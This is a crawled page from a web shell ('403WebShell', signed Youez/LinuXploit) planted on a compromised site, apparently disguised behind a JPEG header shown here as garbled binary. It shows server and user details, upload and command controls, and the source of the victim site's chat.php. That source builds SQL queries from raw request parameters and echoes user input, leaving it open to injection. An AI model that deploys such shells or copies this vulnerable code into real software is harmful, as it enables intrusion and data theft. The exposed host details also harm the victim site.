JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.23  /  Your IP : 216.73.217.31
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/anggota/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/anggota/chat.php
<?php include "header.php";?>
<?php 
 
	// cek apakah yang mengakses halaman ini sudah login
	if($_SESSION['level']<>"user"){
		header("location:location:../login.php");
	}

include "koneksi.php";
?>

<!doctype html>
<html lang="en">
  <head>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
    <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
    <link rel="stylesheet" href="custom.css">
    
    <style>
	.chat-main{
    bottom: 0;
    right:120px;
    position: fixed;
}
.chat-header{
    background: #E5EFC1;
    border:1px solid #D7DF71;
}
.image img{
    height: 40px;
    width: 40px;
}
.user-detail h6{
    display: inline-block;
}
.user-detail .active{
    color: #32B92D;
    font-size: 12px;
}
.options i{
    color: #a1a1a1;
    font-size: 19px;
    cursor: pointer;
}
.chat-content, .chat-content .sender, .user-detail h6{
    font-size: 14px;
}
.chat-content ul{
    height: 260px;
    overflow-x: scroll;
    overflow-x: hidden;
}
.chat-content ul li{
    list-style: none;
    background: #F5F5F5;
}
.chat-content .msg-box{
    background: #e1e1e1;
}
.chat-content .msg-box .send-btn{
    background: #39AEA9;
}
.chat-content .time{
    font-size: 10px;
    color: #a1a1a1;
}
	.waktu {
	font-size: 9px;
}
textarea { 
	width: 300px; 
	max-width: 320px; 
	height: 50px; 
	line-height: 150%; 
	} 
	
		.adm {
	font-size: 12px;
	color:red;
}

		#italic {
	font-style:italic;
}
		#form-div {
	background-image: linear-gradient(to right, #4682B4, #00FFFF, #00FA9A);
	background:;
	padding-left:35px;
	padding-right:35px;
	padding-top:35px;
	padding-bottom:5px;
	width: 900px;
	float: left;
	left: 50%;

  margin-top:30px;
	margin-left:200px;
  -moz-border-radius: 7px;
  -webkit-border-radius: 7px;
  	border: 1px solid #dedede;
}
@media only screen and (max-width: 580px) {
	#form-div{
		left: 3%;
		margin-right: 3%;
		width: 100%;
		margin-left: 10px;
		margin-bottom: 10px;
		padding-left: 1%;
		padding-right: 1%;
		font-size: 14px;
	}
		}
	  </style>
  </head>
  <body>
    <div id="form-div">
		<div class="container">
        
                    <div class="col-md-12 chat-header rounded-top p-2">
                        <div class="row">
                            <div class="col-md-2 image">
                                 <?php
								  $npm=$_GET['npm'];
                              $query_month=$konek->query("SELECT * FROM h_anggota where npm='$npm' ");					   
                                  
                                   
                     $df=$query_month->fetch_assoc();
                            $nmlead=$df['nmlead'];
                            $gambar=$df['gambar']; 
                           ?> 
                                 <?php
                        if($gambar <> ''){
                        ?>
                                <img src=../file/<?php echo $gambar ?> width="10" height="10" class="rounded">
                                        <?php
                                        }else{		
                                        ?>
                                        <img src=../file/<?php echo 'dr.jpg' ?> width="10" height="10"  class="rounded"> 
                                          <p>&nbsp;   </p>
                                    
                                        <?php
                                }
                        ?>
                            </div>
                         
                            
                            <div class="col-md-7 user-detail pt-2">
                                <h6 class="pt-1"><?php echo $nmlead ?></h6>
                                <i class="fa fa-circle active ml-1" aria-hidden="true"></i>
                            </div>
                            <div class="col-md-3 options text-right pt-2">
                                <i class="fa fa-ellipsis-h mr-1 hide-chat-box"></i>
                                <i class="fa fa-times hide-chat-box"></i>
                            </div>
                        </div>
                    </div>
                    
                     <?php
					 $npm=$_GET['npm'];
                     $id=$_GET['id'];         
							  
							  $query=$konek->query("SELECT * FROM chat where npm='$npm' AND status='y' order by no desc limit 1 ");					   
                                   
                         while ($dc=$query->fetch_assoc()) {           
                          $komentar=$dc['komentar'];
						  $wkt=$dc['wkt'];
						  $wkt2=$dc['wkt2'];
						 $jawab=$dc['jawab'];
                            $waktu = date('Y-m-d H:i');
                           ?> 
                
                   <table id="example" class="display nowrap table-striped table-bordered table" style="width:100%">
       
                <tr>                         
                  <td ><span class="waktu"><?php echo $wkt; ?></span><br>
                
                  <textarea name="komen"   readonly><?php echo $komentar ?></textarea><br>
                  
                   <?php
                        if($jawab <> ''){
                        ?>
                        <br>
                 <span class="waktu"><strong class="adm font-italic"><i class="fas fa-fw fa-user-md"></i> Admin,</strong> <?php echo $wkt2; ?></span><br>
                  
                  <textarea name="admin"  placeholder="Jawaban Admin" readonly id="italic"><?php echo $jawab ?></textarea><br>
                  <?php
                        }
						?>
                   			</td>
                   
                  </tr>
                  </table> 
						<?php
                        }
						?>
                        <p class="text-center mb-2 sender font-italic"><?php echo $nmlead ?></p>
                        <div class="msg-box p-1">
                            <div class="row">
                             <form method="post" action="" enctype="multipart/form-data"//>
                                <input name="npm" type ="hidden" value="<?php echo $npm ?>" //>
								<input name="id" type ="hidden" value="<?php echo $id ?>" //>
                                <input name="gambar" type ="hidden" value="<?php echo $gambar ?>" //>
                                <input name="nmlead" type ="hidden" value="<?php echo $nmlead ?>" //>
                                <input name="waktu"  type ="hidden" value="<?php echo $waktu ?>" //>
                                
                                <div class="col-md-9">

                                   
                                    <textarea name="komen"  placeholder="message ..."></textarea> 
                                </div>
                                <br>
                                <div class="col-md-3 pl-0">
                                    <button class="btn btn-success">Send</button>
                                  
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
 </div>	  
  </body>
</html>
<?php
if($_SERVER['REQUEST_METHOD']=='POST'){

	//variabel untuk menampung inputan dari form
	
	
	
	$npm	= $_POST['npm'];
	$komen 	= $_POST['komen'];
	$waktu 	= $_POST['waktu'];
	$gambar = $_POST['gambar'];
	$nmlead = $_POST['nmlead'];
	$id     = $_POST['id'];
  
		$update = mysqli_query($konek, "UPDATE chat SET status='R' WHERE no='$id'");
	
mysqli_query($konek, "INSERT INTO chat(npm,komentar,wkt,gambar,nmlead,pengirim) values('$npm','$komen','$waktu','$gambar','$nmlead','$nmlead')");	
				
					echo "<script> document.location.href='chat.php?npm=$npm'; </script>";
				
	}
//}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit